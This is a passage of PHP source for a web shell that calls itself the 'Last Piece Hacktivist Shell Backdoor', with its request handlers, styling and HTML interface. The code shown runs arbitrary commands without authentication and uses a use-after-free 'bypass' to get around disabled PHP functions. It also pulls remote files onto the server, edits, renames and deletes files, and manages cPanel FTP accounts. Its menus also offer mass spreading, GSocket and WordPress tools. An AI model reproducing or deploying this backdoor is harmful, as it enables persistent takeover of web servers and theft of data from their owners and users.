$homeDir = getenv('HOME') ?: ('/home/' . get_current_user());
$addOutput = runUapi('Ftp add_ftp user=' . escapeshellarg($ftpUser) . ' pass=' . escapeshellarg($ftpPass) . ' quota=' . escapeshellarg($ftpQuota) . ' homedir=' . escapeshellarg($homeDir));
$parsed = parseUapiStatus($addOutput);
if ($parsed['ok']) {
$responseMessage = 'FTP account "' . $ftpUser . '" created successfully.';
} else {
$errorMessage = 'FTP creation failed. Check output.';
$cmdOutput = $addOutput;
}
}
if (isset($_POST['ftp_passwd']) && !empty($_POST['ftp_chg_user']) && !empty($_POST['ftp_chg_pass']) && !empty($_POST['ftp_chg_domain'])) {
$chgUser = $_POST['ftp_chg_user'];
$chgPass = $_POST['ftp_chg_pass'];
$chgDomain = $_POST['ftp_chg_domain'];
$passwdOutput = runUapi('Ftp passwd user=' . escapeshellarg($chgUser) . ' domain=' . escapeshellarg($chgDomain) . ' pass=' . escapeshellarg($chgPass));
$parsed = parseUapiStatus($passwdOutput);
if ($parsed['ok']) {
$responseMessage = 'Password changed for "' . $chgUser . '@' . $chgDomain . '".';
} else {
$errorMessage = 'Password change failed.';
$cmdOutput = $passwdOutput;
}
}
if (isset($_POST['ftp_delete']) && !empty($_POST['ftp_del_user']) && !empty($_POST['ftp_del_domain'])) {
$delUser = $_POST['ftp_del_user'];
$delDomain = $_POST['ftp_del_domain'];
$delOutput = runUapi('Ftp delete_ftp user=' . escapeshellarg($delUser) . ' domain=' . escapeshellarg($delDomain));
$parsed = parseUapiStatus($delOutput);
if ($parsed['ok']) {
$responseMessage = 'FTP account "' . $delUser . '@' . $delDomain . '" deleted.';
} else {
$errorMessage = 'FTP deletion failed.';
$cmdOutput = $delOutput;
}
}
// === WORDPRESS MANAGER ===
$wpAvailable = false;
$wpLoadPath = findWpLoad();
if ($wpLoadPath) $wpAvailable = true;
if (isset($_POST['remote_upload']) && !empty($_POST['remote_url'])) {
$url = $_POST['remote_url'];
$fname = !empty($_POST['remote_filename']) ? $_POST['remote_filename'] : basename(parse_url($url, PHP_URL_PATH));
$target = $currentDirectory . '/' . $fname;
fixPermission($currentDirectory);
$content = @file_get_contents($url);
if ($content === false && function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_TIMEOUT=>30,CURLOPT_SSL_VERIFYPEER=>false]);
$content = curl_exec($ch); curl_close($ch);
}
if ($content !== false && @file_put_contents($target, $content) !== false) $responseMessage = "Remote file downloaded: $fname";
else $responseMessage = 'Failed to download remote file.';
}
if (isset($_GET['edit'])) {
$file = $_GET['edit'];
$content = readFileContent($file);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
if (saveFileContent($file)) $responseMessage = 'File saved.';
else $errorMessage = 'Error saving file.';
}
}
if (isset($_GET['chmod'])) {
$file = $_GET['chmod'];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['permission'])) {
$perm = intval($_POST['permission'], 8);
if ($perm > 0 && @chmod($file, $perm)) $responseMessage = 'Permission changed.';
else $errorMessage = 'Error changing permission.';
}
}
if (isset($_POST['upload'])) {
$responseMessage = uploadFile($currentDirectory);
}
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
$useBypass = isset($_POST['use_bypass']) && $_POST['use_bypass'] === '1';
if ($useBypass) {
$bypassOut = runBypass($_POST['cmd']);
$cmdOutput = $bypassOut ?: 'Bypass returned no output. UAF may not work on this PHP version.';
} else {
$cmdOutput = executeCommand($_POST['cmd']);
}
}
if (isset($_POST['eclipse']) && !empty($_POST['eclipse'])) {
$bypassOut = runBypass($_POST['eclipse']);
$cmdOutput = $bypassOut ?: 'Bypass returned no output. UAF may not work on this PHP version.';
}
if (isset($_GET['rename']) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$file = $_GET['rename'];
$responseMessage = renameFile($file, $_POST['new_name']);
}
if (isset($_GET['del'])) {
$file = $_GET['del'];
$fileDir = dirname($file);
if (deleteFile($file)) {
header('Location: ?lph=' . urlencode($fileDir) . '&msg=deleted');
exit;
} else {
$errorMessage = 'Failed to delete: ' . basename($file);
}
}
if (isset($_POST['Summon'])) {
$url = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php';
$filePath = $currentDirectory . '/Adminer.php';
$fileContent = @file_get_contents($url);
if ($fileContent !== false && @file_put_contents($filePath, $fileContent) !== false) {
$responseMessage = 'Adminer summoned successfully.';
} else {
$errorMessage = 'Failed to summon Adminer.';
}
}
if (isset($_POST['scan_deeply'])) {
$results = scanDeepestDirectory($currentDirectory);
$cmdOutput = "=== Deepest Directories ===\n";
if (empty($results)) $cmdOutput .= "No subdirectories found.";
else foreach ($results as $r) $cmdOutput .= $r . "\n";
}
if (isset($_POST['scan_newly'])) {
$ext = isset($_POST['scan_ext']) ? $_POST['scan_ext'] : 'php';
$results = scanNewlyFiles($currentDirectory, $ext);
$cmdOutput = "=== Newest .$ext Files ===\n";
if (empty($results)) $cmdOutput .= "No files found.";
else foreach ($results as $r) $cmdOutput .= date('Y-m-d H:i:s', $r['time']) . " | " . $r['path'] . "\n";
}
if (isset($_GET['msg']) && $_GET['msg'] === 'deleted') {
$responseMessage = 'Item deleted successfully.';
}
// Bypass security modules
if (function_exists('litespeed_request_headers')) {
$headers = litespeed_request_headers();
if (isset($headers['X-LSCACHE'])) header('X-LSCACHE: off');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Last Piece Hacktivist Crew - File Manager</title>
<style>
:root {
--bg: #0a0a1a;
--bg-card: #111128;
--bg-input: #0d0d1e;
--border: #1e1e3a;
--text: #e0e0f0;
--text-muted: #6a6a8a;
--gold: #ffd700;
--gold-dark: #cc9900;
--accent: #00d4ff;
--red: #f85149;
--green: #3fb950;
--purple: #a855f7;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'SF Mono', 'Cascadia Code', 'Consolas', monospace;
font-size: 13px;
background: var(--bg);
color: var(--text);
min-height: 100vh;
}
.app-header {
background: linear-gradient(135deg, #0d0d1e 0%, #1a0a2e 100%);
border-bottom: 1px solid var(--border);
padding: 12px 20px;
display: flex;
align-items: center;
justify-content: space-between;
}
.header-left { display: flex; align-items: center; gap: 12px; }
.header-logo { width: 32px; height: 32px; border-radius: 8px; }
.header-title {
font-size: 16px;
font-weight: 700;
background: linear-gradient(90deg, var(--gold), var(--accent));
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
.header-sub { font-size: 11px; color: var(--text-muted); }
.header-right { display: flex; align-items: center; gap: 12px; }
.sys-badge {
background: var(--bg-input);
border: 1px solid var(--border);
padding: 4px 10px;
border-radius: 6px;
font-size: 10px;
color: var(--text-muted);
}
.container { max-width: 1400px; margin: 0 auto; padding: 16px; }
.breadcrumb {
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: 8px;
padding: 10px 16px;
margin-bottom: 12px;
font-size: 12px;
overflow-x: auto;
white-space: nowrap;
}
.breadcrumb a { color: var(--accent); text-decoration: none; }
.breadcrumb a:hover { color: var(--gold); text-decoration: underline; }
.toolbar {
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: 8px;
padding: 10px 16px;
margin-bottom: 12px;
display: flex;
align-items: center;
gap: 8px;
flex-wrap: wrap;
}
.toolbar-label {
font-size: 10px;
text-transform: uppercase;
color: var(--text-muted);
font-weight: 600;
margin-right: 6px;
}
.btn {
padding: 6px 14px;
border-radius: 6px;
font-size: 11px;
font-weight: 500;
border: 1px solid var(--border);
cursor: pointer;
transition: all 0.2s;
display: inline-flex;
align-items: center;
gap: 5px;
font-family: inherit;
text-decoration: none;
color: var(--text);
background: var(--bg-input);
}
.btn:hover { border-color: var(--accent); }
.btn-sm { padding: 4px 10px; font-size: 10px; }
.btn-primary {
background: linear-gradient(135deg, var(--gold), var(--gold-dark));
color: #000;
border-color: var(--gold);
font-weight: 600;
}
.btn-primary:hover { box-shadow: 0 0 15px rgba(255, 215, 0, 0.4); }
.btn-secondary {
background: var(--bg-input);
color: var(--text);
border-color: var(--border);
}
.btn-danger {
background: rgba(248, 81, 73, 0.15);
color: var(--red);
border-color: rgba(248, 81, 73, 0.3);
}
.btn-danger:hover { background: var(--red); color: white; }
.btn-scan {
background: linear-gradient(135deg, #06b6d4, #0891b2);
color: white;
border-color: #06b6d4;
}
.btn-chmod {
background: linear-gradient(135deg, #ec4899, #db2777);
color: white;
border-color: #ec4899;
}
.btn-spread {
background: linear-gradient(135deg, #f59e0b, #d97706);
color: #000;
border-color: #f59e0b;
}
.btn-gs {
background: linear-gradient(135deg, #10b981, #059669);
color: white;
border-color: #10b981;
}
.btn-gs:hover {
box-shadow: 0 0 15px rgba(16, 185, 129, 0.5);
}
.btn-uapi {
background: linear-gradient(135deg, #8b5cf6, #7c3aed);
color: white;
border-color: #8b5cf6;
}
.btn-uapi:hover {
box-shadow: 0 0 15px rgba(139, 92, 246, 0.5);
}
.btn-ftp {
background: linear-gradient(135deg, #f97316, #ea580c);
color: white;
border-color: #f97316;
}
.btn-ftp:hover {
box-shadow: 0 0 15px rgba(249, 115, 22, 0.5);
}
.btn-wp {
background: linear-gradient(135deg, #3b82f6, #2563eb);
color: white;
border-color: #3b82f6;
}
.btn-wp:hover {
box-shadow: 0 0 15px rgba(59, 130, 246, 0.5);
}
.btn-proc {
background: linear-gradient(135deg, #ec4899, #db2777);
color: white;
border-color: #ec4899;
}
.btn-proc:hover {
box-shadow: 0 0 15px rgba(236, 72, 153, 0.5);
}
.wp-user-row {
display: flex;
align-items: center;
gap: 10px;
padding: 10px;
background: var(--bg-secondary);
border: 1px solid var(--border);
border-radius: 6px;
margin-bottom: 4px;
}
.wp-user-row:hover { border-color: var(--accent); }
.wp-user-row.wp-hidden {
background: rgba(59, 130, 246, 0.08);
border-color: rgba(59, 130, 246, 0.3);
}
.wp-badge {
display: inline-block;
padding: 1px 6px;
border-radius: 3px;
font-size: 9px;
font-weight: 700;
text-transform: uppercase;
}
.wp-badge-hidden { background: #3b82f6; color: white; }
.wp-badge-admin { background: #f59e0b; color: #000; }
.wp-pw-box {
display: inline-flex;
align-items: center;
gap: 6px;
background: var(--bg-primary);
border: 1px solid var(--accent);
border-radius: 4px;
padding: 3px 8px;
margin-top: 6px;
font-family: monospace;
font-size: 11px;
color: var(--green);
}
.upload-label {
display: inline-flex;
align-items: center;
gap: 5px;
padding: 4px 10px;
font-size: 10px;
border-radius: 6px;
cursor: pointer;
font-family: inherit;
font-weight: 500;
background: var(--bg-input);
color: var(--text);
border: 1px solid var(--border);
transition: all 0.2s;
}
.upload-label:hover { border-color: var(--accent); }
.upload-label input[type="file"] { display: none; }
.upload-label svg { width: 14px; height: 14px; }
.file-table {
width: 100%;
border-collapse: collapse;
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: 8px;
overflow: hidden;
margin-bottom: 12px;
}
.file-table th {
background: rgba(255, 215, 0, 0.08);
color: var(--gold);
font-size: 10px;
text-transform: uppercase;
padding: 10px 14px;
text-align: left;
font-weight: 600;
border-bottom: 1px solid var(--border);
}
.file-table td {
padding: 8px 14px;
border-bottom: 1px solid rgba(30, 30, 58, 0.5);
font-size: 12px;
}
.file-table tr:hover { background: rgba(0, 212, 255, 0.03); }
.file-table td a { color: var(--accent); text-decoration: none; }
.file-table td a:hover { color: var(--gold); text-decoration: underline; }
.file-icon { display: inline-flex; align-items: center; gap: 8px; }
.folder-icon { color: var(--gold); }
.file-icon-type { color: var(--accent); }
.action-btns { display: flex; gap: 4px; flex-wrap: wrap; }
.action-btns a {
padding: 3px 8px;
font-size: 10px;
border-radius: 4px;
text-decoration: none;
border: 1px solid var(--border);
color: var(--text-muted);
transition: all 0.2s;
}
.action-btns a:hover { border-color: var(--accent); color: var(--accent); }
.action-btns a.act-del { border-color: rgba(248,81,73,0.3); color: var(--red); }
.action-btns a.act-del:hover { background: var(--red); color: white; }
.cmd-section {
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: 8px;
padding: 14px;
margin-bottom: 12px;
}
.cmd-prompt {
display: flex;
align-items: center;
gap: 8px;
}
.cmd-user { color: var(--green); font-size: 12px; }
.cmd-dollar { color: var(--gold); }
.cmd-prompt input {
flex: 1;
background: transparent;
border: none;
color: var(--text);
font-family: inherit;
font-size: 12px;
outline: none;
}
.cmd-output {
background: #000;
border: 1px solid var(--border);
border-radius: 6px;
padding: 12px;
margin-top: 10px;
max-height: 300px;
overflow-y: auto;
}
.cmd-output pre {
color: #00d4ff;
font-size: 11px;
white-space: pre-wrap;
word-wrap: break-word;
font-family: inherit;
margin: 0;
}
.form-group { margin-bottom: 12px; }
.form-label { display: block; font-size: 11px; color: var(--text-muted); margin-bottom: 4px; font-weight: 500; }
.form-input {
width: 100%;
background: var(--bg-input);
border: 1px solid var(--border);
color: var(--text);
padding: 8px 12px;
border-radius: 6px;
font-family: inherit;
font-size: 12px;
outline: none;
transition: border-color 0.2s;
}
.form-input:focus { border-color: var(--accent); }
.editor-area {
width: 100%;
min-height: 400px;
background: #000;
border: 1px solid var(--border);
color: var(--green);
padding: 14px;
border-radius: 6px;
font-family: inherit;
font-size: 12px;
outline: none;
resize: vertical;
line-height: 1.6;
}
.msg-success {
background: rgba(63, 185, 80, 0.1);
border: 1px solid rgba(63, 185, 80, 0.3);
color: var(--green);
padding: 8px 14px;
border-radius: 6px;
font-size: 12px;
margin-bottom: 12px;
}
.msg-error {
background: rgba(248, 81, 73, 0.1);
border: 1px solid rgba(248, 81, 73, 0.3);
color: var(--red);
padding: 8px 14px;
border-radius: 6px;
font-size: 12px;
margin-bottom: 12px;
}
.modal-overlay {
position: fixed;
top: 0; left: 0;
width: 100%; height: 100%;
background: rgba(0, 0, 0, 0.8);
backdrop-filter: blur(4px);
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
}
.modal {
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: 12px;
max-width: 500px;
width: 90%;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5);
}
.modal-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 14px 18px;
border-bottom: 1px solid var(--border);
}
.modal-title { font-weight: 600; font-size: 14px; color: var(--gold); }
.modal-close { background: none; border: none; color: var(--text-muted); cursor: pointer; padding: 4px; }
.modal-close:hover { color: var(--red); }
.modal-body { padding: 18px; }
.modal-footer { padding: 14px 18px; border-top: 1px solid var(--border); display: flex; justify-content: flex-end; gap: 8px; }
.hidden { display: none !important; }
.uploader-row { display: flex; gap: 8px; align-items: center; margin-bottom: 8px; }
.custom-file-input {
flex: 1;
display: flex;
align-items: center;
gap: 10px;
background: var(--bg-input);
border: 1px solid var(--border);
border-radius: 6px;
padding: 6px 10px;
cursor: pointer;
transition: all 0.2s;
}
.custom-file-input:hover { border-color: var(--accent); }
.custom-file-input input[type="file"] { display: none; }
.custom-file-input .file-btn {
display: flex;
align-items: center;
gap: 6px;
background: linear-gradient(135deg, var(--accent), #0077b6);
color: white;
padding: 5px 12px;
border-radius: 4px;
font-size: 11px;
font-weight: 500;
white-space: nowrap;
}
.custom-file-input .file-name {
font-size: 11px;
color: var(--text-muted);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
flex: 1;
}
.custom-file-input.has-file .file-name { color: var(--gold); }
.app-footer {
background: linear-gradient(135deg, #0d0d1e 0%, #1a0a2e 100%);
border-top: 1px solid var(--border);
padding: 16px 20px;
text-align: center;
margin-top: 20px;
}
.footer-content { display: flex; align-items: center; justify-content: center; gap: 12px; }
.footer-avatar { width: 30px; height: 30px; border-radius: 50%; border: 2px solid var(--gold); }
.footer-text { font-size: 11px; color: var(--text-muted); }
.footer-text span { color: var(--gold); font-weight: 600; }
</style>
</head>
<body>
<?php if (isset($_GET['edit'])): ?>
<div class="container">
<div style="margin-bottom: 12px;">
<a href="?lph=<?php echo urlencode(dirname($_GET['edit'])); ?>" class="btn btn-secondary">← Back</a>
</div>
<div class="cmd-section">
<h3 style="color: var(--gold); margin-bottom: 12px;">Editing: <?php echo htmlspecialchars(basename($file)); ?></h3>
<?php if (!empty($responseMessage)): ?><div class="msg-success"><?php echo $responseMessage; ?></div><?php endif; ?>
<?php if (!empty($errorMessage)): ?><div class="msg-error"><?php echo $errorMessage; ?></div><?php endif; ?>
<form method="POST">
<textarea name="content" class="editor-area"><?php echo htmlspecialchars($content ?? ''); ?></textarea>
<div style="margin-top: 10px; display: flex; gap: 8px;">
<button type="submit" class="btn btn-primary">Save File</button>
<a href="?lph=<?php echo urlencode(dirname($file)); ?>" class="btn btn-secondary">Cancel</a>
</div>
</form>
</div>
</div>
<?php elseif (isset($_GET['rename'])): ?>
<div class="container">
<div class="cmd-section">
<h3 style="color: var(--gold); margin-bottom: 12px;">Rename: <?php echo htmlspecialchars(basename($_GET['rename'])); ?></h3>
<form method="POST">
<div class="form-group">
<label class="form-label">New Name</label>
<input type="text" name="new_name" class="form-input" value="<?php echo htmlspecialchars(basename($_GET['rename'])); ?>" required>
</div>
<div style="display: flex; gap: 8px;">
<button type="submit" class="btn btn-primary">Rename</button>
<a href="?lph=<?php echo urlencode(dirname($_GET['rename'])); ?>" class="btn btn-secondary">Cancel</a>
</div>
</form>
</div>
</div>
<?php elseif (isset($_GET['chmod'])): ?>
<div class="container">
<div class="cmd-section">
<h3 style="color: var(--gold); margin-bottom: 12px;">Chmod: <?php echo htmlspecialchars(basename($_GET['chmod'])); ?></h3>
<form method="POST">
<div class="form-group">
<label class="form-label">Permission</label>
<input type="text" name="permission" class="form-input" placeholder="0755" maxlength="4" required>
</div>
<div style="display: flex; gap: 8px;">
<button type="submit" class="btn btn-primary">Change</button>
<a href="?lph=<?php echo urlencode(dirname($_GET['chmod'])); ?>" class="btn btn-secondary">Cancel</a>
</div>
</form>
</div>
</div>
<?php else: ?>
<header class="app-header">
<div class="header-left">
<img src="https://l.top4top.io/p_3688fo4y41.png" class="header-logo" alt="">
<div>
<div class="header-title">Last Piece Hacktivist</div>
<div class="header-sub">File Manager v1.0</div>
</div>
</div>
<div class="header-right">
<span class="sys-badge"><?php echo php_uname('s') . ' ' . php_uname('r'); ?></span>
<span class="sys-badge"><?php echo @get_current_user(); ?></span>
<span class="sys-badge" style="color:#3fb950;">No Auth</span>
</div>
</header>
<div class="container">
<?php if (!empty($responseMessage)): ?><div class="msg-success"><?php echo $responseMessage; ?></div><?php endif; ?>
<?php if (!empty($errorMessage)): ?><div class="msg-error"><?php echo $errorMessage; ?></div><?php endif; ?>
<div class="breadcrumb">
<strong>DIR:</strong>
<?php
$bPath = str_replace('\\', '/', $currentDirectory);
$parts = explode('/', $bPath);
foreach ($parts as $id => $part) {
if ($part == '' && $id == 0) {
echo '<a href="?lph=/">/</a>';
} elseif (!empty($part)) {
$link = implode('/', array_slice($parts, 0, $id + 1));
echo '<a href="?lph=' . urlencode($link) . '">' . htmlspecialchars($part) . '</a>/';
}
}
?>
</div>
<!-- Toolbar: Features -->
<div class="toolbar">
<div class="toolbar-label">Features</div>
<form method="POST" style="display:contents;">
<button type="submit" name="newfolder_btn" class="btn btn-sm" onclick="var n=prompt('Folder name:');if(n){this.form.querySelector('[name=foldername]').value=n;}else{event.preventDefault();}">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/></svg>
New Folder
</button>
<input type="hidden" name="newfolder" value="1">
<input type="hidden" name="foldername" value="">
</form>
<form method="POST" style="display:contents;">
<input type="submit" name="Summon" value="Adminer" class="btn btn-sm">
</form>
<form method="POST" enctype="multipart/form-data" style="display:contents;">
<label class="upload-label">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/></svg>
Upload
<input type="file" name="file" onchange="this.form.submit()">
</label>
<input type="hidden" name="upload" value="1">
</form>
<button onclick="showModal('multiupload')" class="btn btn-sm">Multi Upload</button>
<button onclick="showModal('remote')" class="btn btn-sm">Remote Upload</button>
</div>
<!-- Toolbar: Scanner -->
<div class="toolbar">
<div class="toolbar-label">Scanner</div>
<form method="POST" style="display:contents;">
<button type="submit" name="scan_deeply" class="btn btn-scan btn-sm">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/></svg>
Deep Scan
</button>
</form>
<form method="POST" style="display:contents;">
<input type="hidden" name="scan_ext" value="php">
<button type="submit" name="scan_newly" class="btn btn-scan btn-sm">New PHP Files</button>
</form>
<button onclick="showModal('chmod')" class="btn btn-chmod btn-sm">Mass Chmod</button>
<button onclick="showModal('spread')" class="btn btn-spread btn-sm">Mass Spread</button>
</div>
<!-- Toolbar: Tools -->
<div class="toolbar">
<div class="toolbar-label">Tools</div>
<button onclick="showModal('gsocket')" class="btn btn-gs btn-sm">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 12h-4l-3 9L9 3l-3 9H2"/></svg>
GSSocket
</button>
<button onclick="showModal('uapi')" class="btn btn-uapi btn-sm">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="2" y="2" width="20" height="8" rx="2" ry="2"/><rect x="2" y="14" width="20" height="8" rx="2" ry="2"/><line x1="6" y1="6" x2="6.01" y2="6"/><line x1="6" y1="18" x2="6.01" y2="18"/></svg>
UAPI
</button>
<button onclick="showModal('ftp')" class="btn btn-ftp btn-sm">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="2" y="2" width="20" height="8" rx="2" ry="2"/><rect x="2" y="14" width="20" height="8" rx="2" ry="2"/><line x1="6" y1="6" x2="6.01" y2="6"/><line x1="6" y1="18" x2="6.01" y2="18"/></svg>
FTP Manager
</button>
<?php if ($wpAvailable): ?>
<button onclick="showModal('wp')" class="btn btn-wp btn-sm">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M2 12h20"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg>
WordPress
</button>
<?php endif; ?>
<button onclick="showModal('proc')" class="btn btn-proc btn-sm">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="4" y="4" width="16" height="16" rx="2"/><line x1="9" y1="9" x2="9.01" y2="9"/><line x1="15" y1="9" x2="15.01" y2="9"/><line x1="9" y1="15" x2="9.01" y2="15"/><line x1="15" y1="15" x2="15.01" y2="15"/></svg>
Process
</button>
</div>
<!-- Command -->
<div class="cmd-section">
<form method="POST" id="cmdForm">
<input type="hidden" name="use_bypass" id="useBypassField" value="0">
<div class="cmd-prompt">
<span class="cmd-user"><?php echo @get_current_user() . '@' . @gethostname(); ?></span>
<span class="cmd-dollar" id="cmdModeLabel">$</span>
<input type="text" name="cmd" placeholder="Enter command..." autofocus>
<button type="submit" class="btn btn-sm btn-primary">Run</button>
<button type="button" id="bypassToggle" class="btn btn-sm btn-secondary" onclick="toggleBypass()" title="Toggle Bypass Mode" style="padding: 4px 8px; font-size: 10px; min-width: 52px;">Normal</button>
</div>
</form>
<?php
$disabledFuncs = @ini_get('disable_functions');
$execAvailable = !$disabledFuncs || (
stripos($disabledFuncs, 'exec') === false &&
stripos($disabledFuncs, 'shell_exec') === false &&
stripos($disabledFuncs, 'proc_open') === false &&
stripos($disabledFuncs, 'system') === false
);
?>
<div style="display: flex; gap: 8px; align-items: center; margin-top: 6px; padding: 0 8px;">
<span style="font-size: 10px; color: var(--text-muted);">Exec:</span>
<span style="font-size: 10px; color: <?php echo $execAvailable ? '#3fb950' : '#f85149'; ?>;"><?php echo $execAvailable ? 'Available' : 'Disabled'; ?></span>
<span style="font-size: 10px; color: var(--text-muted);">|</span>
<span style="font-size: 10px; color: var(--text-muted);">Bypass:</span>
<span style="font-size: 10px; color: #00d4ff;">UAF PHP <?php echo PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION; ?></span>
<span style="font-size: 10px; color: var(--text-muted);">|</span>
<span style="font-size: 10px; color: var(--text-muted);">Disabled:</span>
<span style="font-size: 10px; color: #f97316; max-width: 300px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;" title="<?php echo htmlspecialchars($disabledFuncs); ?>"><?php echo $disabledFuncs ? htmlspecialchars(substr($disabledFuncs, 0, 60)) . (strlen($disabledFuncs) > 60 ? '...' : '') : 'None'; ?></span>
</div>
<?php if (!empty($cmdOutput)): ?>
<div class="cmd-output"><pre><?php echo htmlspecialchars($cmdOutput); ?></pre></div>
<?php endif; ?>
</div>
<!-- File Table -->
<table class="file-table">
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Permission</th>
<th>Actions</th>
</tr>
<?php
$fileDetails = getFileDetails($currentDirectory);
if (is_array($fileDetails)):
foreach ($fileDetails as $fd):
$fullPath = $currentDirectory . '/' . $fd['name'];
?>
<tr>
<td>
<span class="file-icon">
<?php if ($fd['type'] === 'Folder'): ?>
<svg width="14" height="14" viewBox="0 0 24 24" fill="var(--gold)" stroke="var(--gold)" stroke-width="1"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/></svg>
<a href="?lph=<?php echo urlencode($fullPath); ?>" style="color: var(--gold);"><?php echo htmlspecialchars($fd['name']); ?></a>
<?php else: ?>
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="#e6edf3" stroke-width="2"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>
<a href="?edit=<?php echo urlencode($fullPath); ?>" style="color: #e6edf3;"><?php echo htmlspecialchars($fd['name']); ?></a>
<?php endif; ?>
</span>
</td>
<td style="color: #00d4ff;"><?php echo $fd['type']; ?></td>
<td><?php echo $fd['size']; ?></td>
<td style="color: <?php echo $fd['perm_color']; ?>; font-family: monospace; font-weight: 600;"><?php echo $fd['permission']; ?></td>
<td>
<div class="action-btns">
<?php if ($fd['type'] === 'File'): ?>
<a href="?edit=<?php echo urlencode($fullPath); ?>">Edit</a>
<?php endif; ?>
<a href="?rename=<?php echo urlencode($fullPath); ?>">Rename</a>
<a href="?chmod=<?php echo urlencode($fullPath); ?>">Chmod</a>
<a href="javascript:void(0)" class="act-del" onclick="showDeleteConfirm('<?php echo urlencode($fullPath); ?>','<?php echo htmlspecialchars($fd['name']); ?>')">Delete</a>
</div>
</td>
</tr>
<?php endforeach; else: ?>
<tr><td colspan="5" style="color:var(--text-muted);">No files or folders found.</td></tr>
<?php endif; ?>
</table>
</div>
<footer class="app-footer">
<div class="footer-content">
<img src="https://i.top4top.io/p_3332p3mbq1.jpg" class="footer-avatar" alt="">
<div class="footer-text"><span>Last Piece Hacktivist</span> Shell Backdoor v1.0.0</div>
</div>
</footer>
<!-- Delete Confirm Modal -->
<div class="modal-overlay hidden" id="deleteConfirmModal">
<div class="modal" style="max-width: 400px;">
<div class="modal-header" style="border-bottom-color: rgba(248, 81, 73, 0.3);">
<span class="modal-title" style="color: var(--red);">Delete Confirmation</span>
<button class="modal-close" onclick="hideDeleteConfirm()"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<div class="modal-body" style="text-align: center; padding: 24px;">
<div style="width: 60px; height: 60px; background: rgba(248, 81, 73, 0.1); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 16px;">
<svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="var(--red)" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
</div>
<p style="color: var(--text); font-size: 14px; margin-bottom: 8px;">Are you sure?</p>
<p id="deleteFileName" style="color: var(--gold); font-size: 13px; font-weight: 600; word-break: break-all;"></p>
<p style="color: var(--text-muted); font-size: 11px; margin-top: 12px;">This action cannot be undone.</p>
</div>
<div class="modal-footer" style="justify-content: center; gap: 12px;">
<button type="button" class="btn btn-secondary" onclick="hideDeleteConfirm()">Cancel</button>
<a id="deleteConfirmBtn" href="#" class="btn btn-danger" style="background: var(--red); color: white;">Delete</a>
</div>
</div>
</div>
<!-- Mass Chmod Modal -->
<div class="modal-overlay hidden" id="chmodModal">
<div class="modal" style="max-width: 450px;">
<div class="modal-header">
<span class="modal-title">Mass Chmod</span>
<button class="modal-close" onclick="hideModal('chmod')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<form method="POST">
<div class="modal-body">
<div class="form-group">
<label class="form-label">Target Path</label>
<input type="text" name="chmod_path" class="form-input" value="<?php echo htmlspecialchars($currentDirectory); ?>" required>
</div>
